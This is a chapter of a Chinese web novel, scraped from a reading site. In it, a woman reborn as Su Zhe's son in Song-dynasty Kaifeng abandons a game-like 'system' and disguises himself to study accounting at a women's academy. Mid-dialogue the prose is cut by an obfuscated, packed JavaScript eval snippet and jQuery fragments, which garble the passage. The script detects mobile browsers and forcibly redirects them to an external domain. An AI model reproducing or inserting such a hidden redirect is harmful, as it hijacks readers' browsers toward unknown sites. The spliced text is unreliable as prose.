默认冷灰
24号文字
方正启体

17. 我想做个小娘子!

作者:岐风习习本书字数:K更新时间:
    汴京苏家西厢房的灯彻夜亮着,苏蘅趴在案上,指尖在虚拟的系统面板上飞快滑动,眼前的“概率模型推演”界面泛着冷蓝的光,照在他面无表情的脸上。


    “叮……检测到宿主未完成今日任务:为苏辙整理《论语》批注。任务失败将扣除积分10点,影响天命值评定。”


    机械的提示音在脑海中响起时,苏蘅仍处在神游的状态。


    他望着案上堆成山的儒家典籍,就下意识想起前世那个逼她辍学供弟弟读书的家。父亲攥着她的大学录取通知书,唾沫星子喷在她脸上:“女孩子读那么多书有什么用?不如早点嫁人换彩礼。”


    穿越成苏辙的小儿子时,他曾以为是老天开眼,系统绑定的瞬间,那声“恭喜宿主成为天命之子,肩负匡扶大宋的使命”让他热泪盈眶。


    他终于成了男孩,成了被期待的存在,系统面板上的“天命值90+”像枚勋章,别在他崭新的人生领口。


    可这枚勋章硌得人喘不过气。


    系统任务像根弃不掉的线,牵着他按部就班地走:五岁背完《三字经》,七岁与苏轼对诗,十岁列席新党议事……每完成一项,天命值就涨一点,可他总在深夜梦见前世的自己。


    那个蹲在墙角哭着烧录取通知书的女孩,灰烬飘在她补丁摞补丁的衣角上。


    “宿主,检测到情绪波动异常。建议立刻背诵《孙子算经》平复心绪,此行为可增加‘数理精通’技能点。”


    苏蘅掐断系统提示,把脸埋进算珠堆里,苏辙特意请人做的象牙算盘硌着脸颊,冰凉的触感让他想起前世偷偷攒钱买的塑料计算器,那是他藏在床板下的宝贝,后来被母亲搜走,给弟弟换了游戏机。


    *


    第一次见到王珩,是在汴京算学院的门口。


    那是暮春时节,柳絮飘得像雪。


    苏蘅奉系统指令来“刺探新法动向”,却看见个穿湖蓝色短衫的女子站在石阶上,正给围着她的农妇们演示“复式记账法”。


    她手里的酸枣木算盘打得噼啪响,声音里裹着笑意:“你们看,这贷方就像你们存的粮,借方是欠的债,两边平了,心里才踏实。”


    有个农妇怯生生地问:“女子也能学这个?”


    女子仰头笑起来,阳光落在她鬓边的断梅簪上:“算账看的是脑子,不是裤腰带。”


    苏蘅的心脏突然被攥紧。


    那句“不是裤腰带”像把钥匙,猛地撬开他记忆的锁。


    前世的数学老师也是这样说的,那时她正拿着她的奥数奖状,跟来校闹事的父亲据理力争:“这孩子是块学数学的料,跟她是不是女孩没关系!”


    “宿主,目标人物王珩出现。启动‘接近并评估’任务,任务奖励:天命值+5,解锁‘跨时空语言解码器’。”


    系统提示音开始变得模糊,苏蘅望着算学院门口的木牌,上面”女子专授”四个字被阳光照得发白。


    他看见司马蓁抱着账册走进来,脸上的疤在阴影里若隐若现;看见翠儿踮着脚往门内望,袖口沾着米糠。


    她们都能大大方方地走进那扇门,而他这个“天命之子”,只能缩在街角的柳树后,像个见不得光的小偷。


    “她刚才算的是‘有借必有贷’吧?”有个买菜路过的老妇念叨,“听说这法子是从延州传来的,那边的农妇都能自己核账了。”


    延州。


    复式记账。


    女子算学。


    苏蘅的指尖突然颤抖起来,这些词汇像散落的拼图,在他脑海里慢慢拼出个轮廓。


    王珩算的不是普通的账,是她前世的能力!她也是穿越来的!


    “宿主,检测到关键信息。请立刻上前与王珩搭话,询问‘延州核账法’的细节,此问题可触发她的‘同乡识别’机制。”


    苏蘅却往后退了半步,撞在柳树上,粗糙的树皮擦着后背,疼得他倒吸冷气。


    他低头看着自己的男装,突然涌起股灭顶的懊悔,他好不容易成了男孩,却在这一刻被这重身份死死拦在门外。


    算学院的门对女子敞开,对他这个“苏辙之子”却关得死死的。


    前世因为是女孩被剥夺的机会,今生竟因为是男孩又要再次错过……


    命运像个恶意的玩笑,用算珠串成的锁链,把他困在原地。


    *


    苏蘅跪在苏辙面前时,手里攥着那枚系统颁发的“天命之子”玉牌。


    “父亲……”


    他的声音发颤,玉牌的棱角硌得掌心生疼,“孩儿想进算学院。”


    苏辙正在批注《史记》的手猛地顿住:“胡闹!那是女子学馆,你一个苏家儿郎……”


    “我可以扮成女子。”


    这句话像块石头砸进平静的湖面。


    苏辙的胡须抖了抖,指着他的鼻子说不出话。


    苏蘅却抬起头,眼眶通红:“父亲不是常说,学问无分男女吗?王小娘子的算法能救万民,难道因为我是男子,就该错过?”


    他想起昨夜与系统的决裂,当他在脑海里喊出“我要退出”时,虚拟面板发出刺耳的警报,“天命值骤降”的红色字样闪得人睁不开眼。


    最后一次提示音带着电流的杂音:“宿主,放弃任务将导致时空紊乱,你会被抹杀……”


    他拔掉了床头的算筹,那是系统与他连接的媒介,竹制的筹子滚落在地,发出清脆的响声,像极了前世计算器摔碎的声音。


    “你可知这意味着什么?”苏辙的声音沉得听不出情绪。


    苏蘅解开束发的锦带,长发散落在肩头。


    他从袖中取出早就备好的钗环,笨拙地插在发间:“孩儿知道。从此以后,我不是苏辙的儿子,只是想学好算账的苏蘅。”


    他没说的是,这也是对前世的补偿。


    那个没能走进大学校门的女孩,终于能以另一种方式,奔向她梦寐以求的课堂。


    次日,在苏蘅不知道的地方,他的父亲苏辙毅然决然地踏进了王府大门……


    *


    王珩发现苏蘅是男子时,是在他进算学院的第三个月。


    那天他们正在核对郑州的粮账,苏蘅为了取高处的账册,踮脚时不小心扯掉了束胸的布带,当他慌忙按住衣襟时,王珩正拿着算盘站在他身后。


    账房里的空气瞬间凝固,司马蓁握紧了腰间的短刀,眼睛满是警惕。


    苏蘅闭着眼等死,却听见王珩的声音:“先把账册放下来吧,小心摔了。”


    他睁开眼,看见王珩把算盘放在案上,算珠在阳光下泛着光:“你爹今早派人来送了信,说你娘给你做的新账衫放在门房了。”


    苏蘅的眼泪突然就涌了出来,他原以为会被驱逐,会被斥责,却没想到王珩早就知道,或许是他算错账时下意识的动作,或许是他总害怕暴露心虚的眼神,这些藏不住的细节,早被她看在眼里。


    “为什么……”


    他哽咽着问,“为什么不揭穿我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185350|180492||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ?”


    王珩拿起那把酸枣木算盘,塞到他手里:“你算错了三笔账,却帮我们完善了‘谷物损耗概率表’。算学院要的是能算账的人,不是只会穿女装的影子。”


    她顿了顿,指尖划过他算错的账目,“何况,我也不是这个时代的人。”


    苏蘅抬头,看见她从账册里抽出张纸,上面画着个简易的坐标系,横轴写着“时间”,纵轴标着“产量”。


    那是只有穿越者才懂的图表。


    “前世我是审计系的。”


    王珩笑了笑,“总有人说女孩学不好数学,我偏要证明给所有人看,他们解决不了的问题,我能。”


    苏蘅的喉咙像被堵住了,他想说自己前世的遭遇,想说那些被剥夺的机会,想说他扮成女子不是为了欺骗,只是想抓住这迟来的公平。


    可话到嘴边,只变成句:“我对不起大家……”


    “你该对不起的是自己。”


    王珩打断他,指着窗外,“你看司马蓁,她脸上带着疤也敢站在人前算账;看翠儿,她大字不识几个,却能创出《米行核账法》。她们从来没因为自己是女子自卑,你又何必为自己是男子愧疚?”


    她拿起一支笔,在纸上写了行字:“性别是账册的封面,内里的数才是根本。”


    苏蘅看着那句话,突然想起系统消失前的最后警告。原来所谓的“时空紊乱”,不是死亡,而是终于能直面自己的人生。


    无论是前世的女孩,还是今生的男孩,他首先是苏蘅,是那个爱算账、爱数字的苏蘅。


    *


    苏蘅换回男装那天,汴京下着小雨。


    他穿着苏辙送来的湖蓝色长衫,站在算学院门口,看着司马蓁她们往外搬新制的算盘。


    王珩走过来,把那把酸枣木算盘塞给他:“以后你就是算学院的‘外勤账吏’,负责去那些女子不便去的地方查账。”


    他去了秦州的茶马市场,用男子身份混进走私商的聚会,听他们用黑话谈论“一驼十用”的猫腻;他跟着商队穿越宋夏边境,把现代知识中的“抽样验质法”教给边地的脚夫,让他们能识破发霉的茶砖;他甚至闯进过旧党官员的宴会,借着敬酒的机会,抄下了账房里的可疑记录。


    每次查账遇到阻碍,他就想起王珩的话:“男子身份不是枷锁,是你多出来的那把算珠,用好了,能算清更多账。”


    有次在西夏的驼队里,他被个老驼夫问:“你个大男人,跟着群女子学算账,不觉得丢人?”


    苏蘅笑着举起算盘,算珠在戈壁的阳光下闪着光:“丢人?她们能算出千匹‘鬼驼’的猫腻,能揭穿秦州刺史的走私账,我跟着她们学,是福气。”


    他想起前世那个躲在被子里哭的夜晚,那时他以为自己永远失去了学数学的机会。而现在,他正骑着骆驼走在丝绸之路上,身边是一群能顶半边天的女子,手里的算珠噼啪作响,算的是天下的账,活的是自己的人生。


    夜宿驿馆时,他会借着月光写日记。


    账册的左边记着当日的查账结果,右边写着给前世自己的话:“你看,现在没人说女子不能学算账了。你没走完的路,我替你接着走,用你的脑子,用我的脚,一步一步,都算数。”


    窗外传来驼铃声,叮铃叮铃的,像算珠在响。


    苏蘅放下笔,摸了摸怀里的酸枣木算盘,突然觉得,所谓的天命,从来不是系统规定的路,而是终于有勇气,用自己的方式,算清这漫长的人生。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)